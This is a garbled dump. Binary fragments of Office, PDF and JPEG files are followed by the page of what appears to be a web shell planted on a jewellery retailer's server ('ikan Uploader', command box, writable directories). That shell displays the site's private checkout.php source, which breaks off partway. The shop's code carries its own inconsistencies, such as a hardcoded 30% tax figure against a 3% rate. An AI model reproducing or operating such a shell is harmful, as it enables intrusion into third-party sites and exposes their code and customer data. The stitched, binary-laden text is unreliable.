œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /home/ni05r7l36tus/www/poojajewellersbbsr.com/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ni05r7l36tus/www/poojajewellersbbsr.com/checkout.php
<?php 
session_start();
$customer_id = isset($_SESSION['customer_id']) ? intval($_SESSION['customer_id']) : 0;
include"cart-handler.php";

// Redirect if customer not logged in
if (!isset($_SESSION['customer_id'])) {
    header("Location: login.php");
    exit();
}
// Fetch allorders for the customer
$stmt = $pdo->prepare("SELECT * FROM allorders WHERE customer_id = :customer_id ORDER BY created_at DESC");
$stmt->execute([':customer_id' => $customer_id]);
$allorders = $stmt->fetchAll();
$stmt = $pdo->prepare("SELECT * FROM store_locations");
$stmt->execute();
$store_locations = $stmt->fetch(PDO::FETCH_ASSOC);
try {
    $stmt = $pdo->prepare("SELECT * FROM taxes WHERE tax_id = :id LIMIT 1");
    $stmt->execute(['id' => 2]);
    $global_tax = $stmt->fetch(PDO::FETCH_ASSOC);

    // ✅ If tax record not found, use default value
    if (!$global_tax) {
        $global_tax = ['tax_rate' => 3.00]; // Default 3% tax
    }
} catch (PDOException $e) {
    // ✅ Fallback in case of DB error
    $global_tax = ['tax_rate' => 3.00];
}

// Now safely assign
$tax = floatval($global_tax['tax_rate']);




// ====================
// CALCULATE TOTALS
// ====================
$saleTotal = 0;
$rentalTotal = 0;
$shippingCharge = 0;
$depositTotal = 0;

$saleProducts = [];
$rentalProducts = [];

// ===== SALE ITEMS =====
if (!empty($_SESSION['cart'])):
    foreach ($_SESSION['cart'] as $uniqueId):
        $qty = $_SESSION['cart_qty'][$uniqueId] ?? 1; // get quantity from session or default 1

        $stmt = $pdo->prepare("
            SELECT p.*, 
                   ps.price, 
                   gs.metal_purity, 
                   gs.weight, 
                   gs.hallmark_certification
            FROM products p
            LEFT JOIN product_sales ps ON p.product_id = ps.product_id
            LEFT JOIN product_gold_silver gs ON p.product_id = gs.product_id
            WHERE p.product_unique_id = ?
        ");
        $stmt->execute([$uniqueId]);
        $product = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($product):
            $price = floatval($product['price']);

            // Final sale price without discount and tax
            $finalSalePrice = $price * $qty;

            $saleTotal += $finalSalePrice;

            // Attach calculation values for display
            $product['finalSalePrice'] = $finalSalePrice;
            $product['qty']            = $qty;

            // Metal details already available: $product['metal_purity'], $product['weight'], $product['hallmark_certification']
            $saleProducts[] = $product;
        endif;
    endforeach;
endif;

// ===== RENTAL ITEMS =====
if (!empty($_SESSION['rentals'])):
    foreach ($_SESSION['rentals'] as $uniqueId):
        $rentalDays = $_SESSION['rental_days'][$uniqueId] ?? 3; // get rental days from session or default 3

        $stmt = $pdo->prepare("
            SELECT p.*, pr.rental_amount, pr.deposit_amount, pr.rental_duration
            FROM products p
            LEFT JOIN product_rentals pr ON p.product_id = pr.product_id
            WHERE p.product_unique_id = ?
        ");
        $stmt->execute([$uniqueId]);
        $product = $stmt->fetch(PDO::FETCH_ASSOC);

        if ($product):
            $dailyRent     = floatval($product['rental_amount']); // per day rent
            $depositAmount = floatval($product['deposit_amount']);
        
            // Ensure minimum 3 days
            $rentalDays = max(3, intval($rentalDays));
        
            // Base rental for first 3 days (just one day's rent here)
            $baseRental = $dailyRent;
        
            // Extra days beyond 3 → 10% of daily rent per extra day
            $extraDays   = $rentalDays - 3;
            $extraCharge = $extraDays > 0 ? $extraDays * ($dailyRent * 0.10) : 0;
        
            // Net rental price
            $netRentalPrice = $baseRental + $extraCharge;
        
            // Net refundable = deposit - net rental
            $netRefundable = $depositAmount - $netRentalPrice;
        
            // Update totals
            $rentalTotal  += $netRentalPrice;
            $depositTotal += $depositAmount;
        
            // Attach values for display
            $product['rentalDays']     = $rentalDays;
            $product['baseRental']     = $baseRental;
            $product['extraCharge']    = $extraCharge;
            $product['netRentalPrice'] = $netRentalPrice;
            $product['depositAmount']  = $depositAmount;
            $product['netRefundable']  = $netRefundable;
        
            $rentalProducts[] = $product;
        endif;
    endforeach;
endif;





// ===== FINAL TOTALS =====
// Calculate GST amount
$gstAmount = $saleTotal * ($tax / 100);
$subtotal = $saleTotal + $depositTotal + $gstAmount;
$finalPayableAmount = $subtotal + $shippingCharge;


// ===== Prepare Sale Items JSON =====
$saleItemsData = [];
if (!empty($saleProducts)) {
    foreach ($saleProducts as $product) {
        $saleItemsData[] = [
            'product_id' => $product['product_id'],          // actual DB product_id
            'product_unique_id' => $product['product_unique_id'],
            'name' => $product['product_name'],
            'quantity' => $_SESSION['cart_qty'][$product['product_unique_id']] ?? 1,
            'price' => $product['finalSalePrice'],
            'metal_purity' => $product['metal_purity'] ?? '',
            'weight' => $product['weight'] ?? 0,
            'hallmark_certification' => $product['hallmark_certification'] ?? '',
            'color' => $product['color'] ?? ''
        ];
    }
}

// ===== Prepare Sales Order JSON =====
$saleOrderData = [
    'allorder_id' => $allorder_id ?? 0, // will link to allorders table
    'customer_id' => $customer_id,
    'payment_method' => 'upi',
    'payment_status' => 'pending',
    'shipping_charge' => $shippingCharge,
    'shipping_address' => $shippingAddress ?? '',
    'billing_address' => $billingAddress ?? '',
    'expected_delivery' => $expectedDelivery ?? null,
    'delivered_at' => null,
    'items' => $saleItemsData  // Include sale items
];

// ===== Prepare Rental Orders JSON =====
$rentalOrderData = [];
if (!empty($rentalProducts)) {
    foreach ($rentalProducts as $product) {
        $rentalOrderData[] = [
            'product_id' => $product['product_id'],          // actual DB product_id
            'product_unique_id' => $product['product_unique_id'],
            'name' => $product['product_name'],
            'days' => $product['rentalDays'] ?? 1,
            'price' => $product['netRentalPrice'],
            'deposit' => $product['deposit_amount'] ?? 0,
            'metal_purity' => $product['metal_purity'] ?? '',
            'weight' => $product['weight'] ?? 0,
            'hallmark_certification' => $product['hallmark_certification'] ?? '',
            'color' => $product['color'] ?? ''
        ];
    }
}

// ===== Prepare All Orders JSON (includes sales and rental orders) =====
$allorderData = [
    'customer_id' => $customer_id,
    'totals' => [
        'sale_total' => $saleTotal,
        'rental_total' => $rentalTotal,
        'deposit_total' => $depositTotal,
        'shipping_charge' => $shippingCharge,
        'subtotal' => $subtotal,
        'final_amount' => $finalPayableAmount,
        'tax_percent' => 30
    ],
    'order_status' => 'pending',
    'created_at' => date('Y-m-d H:i:s'),
    'sales_order' => $saleOrderData,
    'rental_orders' => $rentalOrderData
];

// ===== Encode JSON for storage =====
 $allorderJson = htmlspecialchars(json_encode($allorderData, JSON_UNESCAPED_UNICODE));
 $saleOrderJson = htmlspecialchars(json_encode($saleOrderData, JSON_UNESCAPED_UNICODE));
 $saleItemsJson = htmlspecialchars(json_encode($saleItemsData, JSON_UNESCAPED_UNICODE));
 $rentalOrderJson = htmlspecialchars(json_encode($rentalOrderData, JSON_UNESCAPED_UNICODE));


// Example: total sale and pincode from form/session
$saleTotal = (float)$saleTotal; 


if ($saleTotal >= 5000) {
    // Free shipping
    $shippingCharge = 0;
} else {
      $shippingCharge = 150;
}


?>

<!DOCTYPE html>
<html lang="en">
<head>
        <meta charset="utf-8">
        <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width,initial-scale=1">
        <title>Pooja Jewellers Bhubaneswar – Elegant Gold, Silver & Fancy Jewellery</title>
        <meta name="description" content="Browse Pooja Jewellers in Bhubaneswar for a stunning range of gold, silver, and fancy jewellery—perfect for weddings, everyday elegance, and modern minimalism.">
        <meta name="keywords" content="Pooja Jewellers Bhubaneswar, gold jewellery Bhubaneswar, silver jewellery Bhubaneswar, fancy jewellery Bhubaneswar, minimalist jewellery India, wedding jewellery Bhubaneswar">
        <meta name="author" content="spacingtech_webify">
<!-- favicon -->
        <link rel="shortcut icon" type="image/favicon" href="assets/image/fav.jpg">
        <!-- plugin css -->
        <link rel="stylesheet" type="text/css" href="assets/css/plugin.css">
        <!-- theme css -->
        <link rel="stylesheet" type="text/css" href="assets/css/theme3.css">
        <!-- collection css -->
        <link rel="stylesheet" type="text/css" href="assets/css/collection3.css">
        <!-- blog css -->
        <link rel="stylesheet" type="text/css" href="assets/css/blog3.css">
        <!-- style css -->
        <link rel="stylesheet" type="text/css" href="assets/css/style3.css">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css">
        <script src="https://checkout.razorpay.com/v1/checkout.js"></script>
        <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

    </head>
    <body>
        <!-- preloader start -->
        <div class="preloader position-fixed top-0 start-0 w-100 h-100 body-bg z-index-5">
            <div class="loader-img position-absolute top-0 start-0 w-100 h-100 d-flex align-items-center justify-content-center">
                <img src="assets/image/preloader.png" class="width-96 width-xl-144 img-fluid" alt="logo">
            </div>
        </div>
        <!-- preloader end -->
        
        <!-- header start -->
        <header id="header" class="main-header">
            <!-- header-top start -->
            <div class="header-top-area">
                <!-- notification-bar start -->
                <div class="notification-bar ptb-10 dominant-bg">
                    <div class="container-fluid d-none d-xl-block">
                        <div class="text-center extra-color">First Order 20% Off on Fancy Jewellery <a href="product_category.php?slug=Fancy jewellery" class="extra-color text-uppercase text-decoration-underline blinking">Shop now</a>!</div>
                    </div>
                </div>
                <!-- notification-bar end -->
                <!-- header-bar start -->
                <div class="header-bar d-none d-xl-block ptb-11 extra-bg beb">
                    <div class="container-fluid">
                        <div class="row">
                            <div class="col">
                                <ul class="ul-mt30 justify-content-start">
                                    <li>
                                        <span class="d-inline-block body-secondary-color">
                                            <a href="mailto:<?php echo $store_locations['email1']; ?>">
                                                <i class="ri-mail-line icon-16 mer-5"></i><?php echo $store_locations['email1']; ?>
                                            </a>
                                        </span>
                                    </li>
                                    <li>
                                        <span class="d-inline-block body-secondary-color">
                                            <a href="tel:<?php echo $store_locations['phone1']; ?>">
                                                <i class="ri-phone-line icon-16 mer-5"></i><?php echo $store_locations['phone1']; ?>
                                            </a>
                                        </span>
                                    </li>
                                </ul>
                            </div>

                            <div class="col">
                                <ul class="ul-mt30 justify-content-end">
                                    <li>
                                    <span class="d-inline-block body-secondary-color">
                                        <a href="calender.php">
                                        <i class="ri-calendar-event-fill icon-16 mer-5"></i>Calender
                                        </a>
                                    </span>
                                    </li>
                                    <li>
                                    <span class="d-inline-block body-secondary-color text-dark">
                                         <a href="javascript:void(0)" 
                                          data-bs-toggle="modal" 
                                          data-bs-target="#goldCalculatorModal" 
                                          class="nav-link">
                                          <i class="ri-calculator-line icon-16 mer-5"></i> Calculator
                                        </a>
                                    </span>
                                    </li>
                                </ul>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- header-bar end -->
                  <!-- header-top-first start -->
                <div class="header-top-first ptb-15 ptb-xl-20 position-relative extra-bg">
                    <div class="container-fluid">
                        <div class="row align-items-center header-area">
                            <!-- header-logo start -->
                            <div class="col-6 col-xl-2 header-element header-logo">
                                <div class="header-theme-logo">
                                    <a href="index.php" class="d-inline-block theme-logo">
                                        <img src="assets/image/headerlogo.webp" class="width-96 width-xl-144 img-fluid" alt="logo">
                                    </a>
                                </div>
                            </div>
                            <!-- header-logo end -->
                           <?php include "common/header.php"; ?>
                            <!-- header-icon start -->
                            <div class="col-6 col-xl-2 header-element header-icon">
                                <div class="header-icon-block d-flex justify-content-end">
                                    <ul class="ul-mt30 flex-nowrap align-items-center header-icon-element">
                                        <li class="header-icon-wrap toggler-wrap d-xl-none">
                                            <div class="header-icon-wrapper">
                                                <a href="javascript:void(0)" class="d-block header-icon-toggler toggler-btn" aria-label="Menu toggler button">
                                                    <span class="d-block header-block-icon dominant-link icon-16"><i class="ri-menu-line"></i></span>
                                                </a>
                                            </div>
                                        </li>
                                        <li class="header-icon-wrap search-wrap d-xl-none">
                                            <div class="header-icon-wrapper">
                                                <a href="#searchmodal" class="d-block header-icon-search" data-bs-toggle="modal" aria-label="Search modal">
                                                    <span class="d-block header-block-icon dominant-link icon-16"><i class="ri-search-line"></i></span>
                                                </a>
                                            </div>
                                        </li>
                                        <li class="header-icon-wrap user-wrap d-none d-md-block">
                                            <div class="header-icon-wrapper">
                                               
                                                     <span class="header-block-icon-wrap dominant-link ul-mt5 flex-nowrap align-items-center">
                                                        <span class="header-block-icon icon-16"><i class="ri-user-3-line"></i></span>
                                                        <span class="d-none d-xl-block header-text-content">
                                                            <?php if ($customerName): ?>
                                                                <a href="dashboard.php"><b><?= htmlspecialchars($customerName) ?></b></a>
                                                            <?php else: ?>
                                                                <a href="login.php">Login</a>
                                                            <?php endif; ?>
                                                        </span>
                                                    </span>
                                            </div>
                                        </li>
                                      
                                        <li class="header-icon-wrap cart-wrap d-none d-md-block">
                                            <div class="header-icon-wrapper">
                                                <a href="javascript:void(0)" class="d-block header-icon-cart js-cart-drawer">
                                                    <span class="header-block-icon-wrap dominant-link ul-mt5 flex-nowrap align-items-center">
                                                    <span class="header-block-icon icon-16"><i class="ri-shopping-bag-3-line"></i></span>
                                                    <span class="d-none d-xl-block header-text-content">Cart</span>
                                                    <?php
                                                    $cartCount = 0;
                                                    if (isset($_SESSION['cart'])) {
                                                        $cartCount += count($_SESSION['cart']);
                                                    }
                                                    if (isset($_SESSION['rentals'])) {
                                                        $cartCount += count($_SESSION['rentals']);
                                                    }

                                                    // Show the counter only if there’s something in cart
                                                    if ($cartCount > 0) {
                                                        echo '<span class="header-block-counter cart-counter dominant-color">' . $cartCount . '</span>';
                                                    }
                                                    ?>
                                                </span>
                                                </a>
                                            </div>
                                        </li>
                                    </ul>
                                </div>
                            </div>
                            <!-- header-icon end -->
                        </div>
                    </div>
                </div>
                <!-- header-top-first end -->
            </div>
            <!-- header-top end -->
        </header>
        <!-- header end -->


   <!-- breadcrumb-area start -->
        <div class="breadcrumb-area ptb-15" data-bgimg="assets/image/other/breadcrumb-bgimg.jpg">
            <div class="container">
                <span class="d-block extra-color"><a href="index.php" class="extra-color">Home</a> / Checkout</span>
            </div>
        </div>
        <!-- breadcrumb-area end -->
        <!-- main start -->
        <main id="main">
            <!-- checkout start -->
            <section class="checkout-area section-ptb">
                <form method="post" action="place_order.php">
                    <div class="container">
                        <div class="row row-mtm flex-lg-row-reverse align-items-lg-start">
                            <div class="col-12 col-lg-5 p-lg-sticky top-0" data-animate="animate__fadeIn">
                                <div class="checkout-summary ">
                                    <div class="checkout-orderview">
                                        <h6 class="font-18 meb-25">Shopping cart <span class="checkcart-count">2</span></h6>
                                        <div class="row row-mtm15">
                                            
                                            <!-- Buy Product -->
                                            <div class="checkitem-content border-bottom pb-3 mb-3">
                                                <div class="cart-checkout-items">
                                                  <?php if (!empty($saleProducts)): ?>
                                                   <h6 class="fw-bold mt-4 mb-3">Sales Items</h6>
                                                    <?php foreach ($saleProducts as $product): ?>
                                                      <div class="d-flex align-items-start mb-3 p-2 border rounded">
                                                        
                                                        <!-- Image + Qty Badge -->
                                                        <div class="checkitem-img" style="width:90px; flex-shrink:0;">
                                                          <div class="position-relative">
                                                            <img src="<?= htmlspecialchars($product['thumbnail_image']) ?>" 
                                                                 class="w-100 img-fluid rounded shadow-sm" 
                                                                 alt="<?= htmlspecialchars($product['product_name']) ?>">
                                                          
                                                          </div>
                                                        </div>
                                                
                                                        <!-- Product Info -->
                                                        <div class="checkitem-info flex-grow-1 ps-3" style="line-height:1.6;">
                                                          <a href="product.php?id=<?= $product['product_unique_id'] ?>" 
                                                             class="d-block fw-semibold text-dark mb-1">
                                                            <?= htmlspecialchars($product['product_name']) ?>
                                                          </a>
                                                          <div class="small text-muted">
                                                            Color: <?= htmlspecialchars($product['color'] ?? '-') ?> | Purity: <?= htmlspecialchars($product['metal_purity']) ?>
                                                          </div>
                                                          <div class="small text-muted">
                                                            Weight: <?= number_format($product['weight'], 2) ?> gm | Hallmark: <?= htmlspecialchars($product['hallmark_certification']) ?>
                                                          </div>
                                                
                                                          <!-- Discount (if any) -->
                                                          <?php if (!empty($product['discount'])): ?>
                                                            <div class="small text-success">
                                                              Discount: <strong>- ₹<?= number_format($product['discount'], 2) ?></strong>
                                                            </div>
                                                          <?php endif; ?>
                                                
                                                          <!-- Price Section -->
                                                          <div class="checkitem-price text-end mt-2">
                                                            <?php if (!empty($product['discount'])): ?>
                                                              <div class="text-muted small text-decoration-line-through">
                                                                ₹<?= number_format($product['price'], 2) ?>
                                                              </div>
                                                            <?php endif; ?>
                                                            <div class="fw-bold fs-6 text-dark">
                                                              ₹<?= number_format($product['finalSalePrice'], 2) ?>
                                                            </div>
                                                          </div>
                                                        </div>
                                                
                                                      </div>
                                                    <?php endforeach; ?>
                                                  <?php endif; ?>
                                                </div>

                                            </div>
                                            
                                                                         <!-- Rental Product -->
                                            <div class="checkitem-content border-bottom pb-3 mb-3">
                                                <div class="cart-checkout-items">
                                                  <?php if (!empty($rentalProducts)): ?>
                                                    <h6 class="fw-bold mt-4 mb-3">Rental Items</h6>
                                                    <?php foreach ($rentalProducts as $product): ?>
                                                      <div class="d-flex align-items-start mb-3 p-2 border rounded">
                                                        
                                                        <!-- Image + Days Badge -->
                                                        <div class="checkitem-img" style="width:90px; flex-shrink:0;">
                                                          <div class="position-relative">
                                                            <img src="<?= htmlspecialchars($product['thumbnail_image']) ?>" 
                                                                 class="w-100 img-fluid rounded shadow-sm" 
                                                                 alt="<?= htmlspecialchars($product['product_name']) ?>">
                                                            
                                                          </div>
                                                        </div>
                                                
                                                        <!-- Product Info -->
                                                        <div class="checkitem-info flex-grow-1 ps-3" style="line-height:1.6;">
                                                          <!-- Product name -->
                                                          <a href="product.php?id=<?= $product['product_unique_id'] ?>" 
                                                             class="d-block fw-semibold text-dark mb-1">
                                                            <?= htmlspecialchars($product['product_name']) ?>
                                                          </a>
                                                
                                                          <!-- Rental Details -->
                                                          <div class="small text-muted">
                                                            Rent Duration: <?= $product['rentalDays'] ?> Day(s)
                                                          </div>
                                                          <div class="small text-muted">
                                                            Base Rental: ₹<?= number_format($product['baseRental'], 2) ?>
                                                          </div>
                                                
                                                          <!-- Extra Charges -->
                                                          <?php if ($product['extraCharge'] > 0): ?>
                                                            <div class="small text-muted">
                                                              Extra (<?= $product['rentalDays'] - 3 ?> day(s) @10%/day): ₹<?= number_format($product['extraCharge'], 2) ?>
                                                            </div>
                                                          <?php endif; ?>
                                                
                                                          <!-- Refundable Deposit -->
                                                          <div class="small text-primary">
                                                            Refundable Deposit: <strong>₹<?= number_format($product['depositAmount'], 2) ?></strong>
                                                          </div>
                                            
                                                          <!-- Net Refundable Amount -->
                                                          <div class="small text-success">
                                                            Net Refundable: <strong>₹<?= number_format($product['netRefundable'], 2) ?></strong>
                                                          </div>
                                                
                                                          <!-- Final Price (Net Rental) -->
                                                          <div class="checkitem-price text-end mt-2">
                                                            <?php if ($product['extraCharge'] > 0): ?>
                                                              <div class="text-muted small text-decoration-line-through">
                                                                ₹<?= number_format($product['baseRental'], 2) ?>
                                                              </div>
                                                            <?php endif; ?>
                                                            <div class="fw-bold fs-6 text-dark">
                                                              ₹<?= number_format($product['depositAmount'], 2) ?>
                                                            </div>
                                                          </div>
                                                        </div>
                                                      </div>
                                                    <?php endforeach; ?>
                                                  <?php endif; ?>
                                                </div>
                                            </div>

                                        
                                        </div>
                                    </div>

                                       <div class="checkout-costview">

                                  <div class="checkout-cost mst-30 pst-30 bst">
                                    <h6 class="font-18 meb-22">Cost Summary</h6>
                                    <div class="row row-mtm20">
                                
                                      <!-- Shipping Charge (Show only if rental product exists) -->
                                      <?php if (isset($hasRentalProduct) && $hasRentalProduct === true): ?>
                                        <div class="col-12 d-flex justify-content-between mb-2">
                                          <span>Delivery Charge</span>
                                          <span class="heading-color">
                                            <?php 
                                            if (!isset($shippingCharge) || $shippingCharge == 0) {
                                                echo "Free Delivery";
                                            } else {
                                                echo "₹" . number_format($shippingCharge, 2);
                                            }
                                            ?>
                                          </span>
                                        </div>
                                      <?php endif; ?>
                                
                                      <!-- GST Charge (only for sale items) -->
                                      <?php if (isset($saleTotal) && $saleTotal > 0 && isset($tax)): ?>
                                        <?php $gstAmount = $saleTotal * ($tax / 100); ?>
                                        <div class="col-12 d-flex justify-content-between mb-2">
                                          <span>GST Charge (<?= $tax ?>%)</span>
                                          <span class="heading-color">₹<?= number_format($gstAmount, 2) ?></span>
                                        </div>
                                      <?php endif; ?>
                                
                                      <!-- Rent Deposit -->
                                      <?php if (isset($depositTotal) && $depositTotal > 0): ?>
                                        <div class="col-12 d-flex justify-content-between mb-2">
                                          <span>Total Rent Deposit</span>
                                          <span class="fw-bold text-primary">₹<?= number_format($depositTotal, 2) ?></span>
                                        </div>
                                      <?php endif; ?>
                                
                                      <!-- Total Sale Amount -->
                                      <?php if (isset($saleTotal) && $saleTotal > 0): ?>
                                        <div class="col-12 d-flex justify-content-between mb-2">
                                          <span>Total Sale Amount</span>
                                          <span class="fw-bold text-primary">₹<?= number_format($saleTotal, 2) ?></span>
                                        </div>
                                      <?php endif; ?>
                                
                                      <!-- Subtotal -->
                                      <?php if (isset($subtotal) && $subtotal > 0): ?>
                                        <div class="col-12 d-flex justify-content-between mb-2">
                                          <span>Subtotal </span>
                                          <span class="fw-bold text-primary">₹<?= number_format($subtotal, 2) ?></span>
                                        </div>
                                      <?php endif; ?>
                                
                                    </div>
                                  </div>
                                
                                  <!-- Final Total -->
                                  <?php if (isset($finalPayableAmount) && $finalPayableAmount > 0): ?>
                                    <div class="checkout-cost mst-30 pst-30 bst">
                                      <div class="row row-mtm20">
                                        <div class="col-12 d-flex justify-content-between mb-3 font-18 heading-weight">
                                          <span>Final Payable Amount</span>
                                          <span class="heading-color">₹<?= number_format($finalPayableAmount, 2) ?></span>
                                        </div>
                                      </div>
                                    </div>
                                  <?php endif; ?>
                                
                                </div>


                                    
                                </div>
                            </div>
                            <div class="col-12 col-lg-7 p-lg-sticky top-0">
                                <div class="checktab-overview">
                                <?php 
                                    // Fetch customer + default address
                                    $sql = "SELECT 
                                                c.first_name, 
                                                c.last_name, 
                                                c.email, 
                                                c.phone, 
                                                c.alt_phone,
                                                
                                                -- Permanent address
                                                a.perm_address_line1   AS permanent_address_line1, 
                                                a.perm_address_line2   AS permanent_address_line2, 
                                                a.perm_city            AS permanent_city, 
                                                a.perm_state           AS permanent_state, 
                                                a.perm_postal_code     AS permanent_postal_code, 
                                                a.perm_country         AS permanent_country, 
                                                a.perm_phone           AS permanent_phone,
                                                a.perm_landmark        AS permanent_landmark,
                                                
                                                -- Delivery address
                                                a.delivery_address_line1 AS delivery_address_line1, 
                                                a.delivery_address_line2 AS delivery_address_line2, 
                                                a.delivery_city          AS delivery_city,
                                                a.delivery_state         AS delivery_state, 
                                                a.delivery_postal_code   AS delivery_postal_code, 
                                                a.delivery_country       AS delivery_country, 
                                                a.delivery_phone         AS delivery_phone,
                                                a.delivery_landmark      AS delivery_landmark
                                    
                                            FROM customers c
                                            LEFT JOIN customer_addresses a 
                                                ON c.customer_id = a.customer_id 
                                               AND a.is_default = 1
                                            WHERE c.customer_id = :cid";
                                    
                                    $stmt = $pdo->prepare($sql);
                                    $stmt->execute([':cid' => $customer_id]);
                                    $user = $stmt->fetch(PDO::FETCH_ASSOC);
                                    
                                    // Ensure $user is always an array
                                    if (!$user || !is_array($user)) {
                                        $user = [
                                            'first_name' => '',
                                            'last_name'  => '',
                                            'email'      => '',
                                            'phone'      => '',
                                            'alt_phone'  => '',
                                    
                                            'permanent_address_line1' => '',
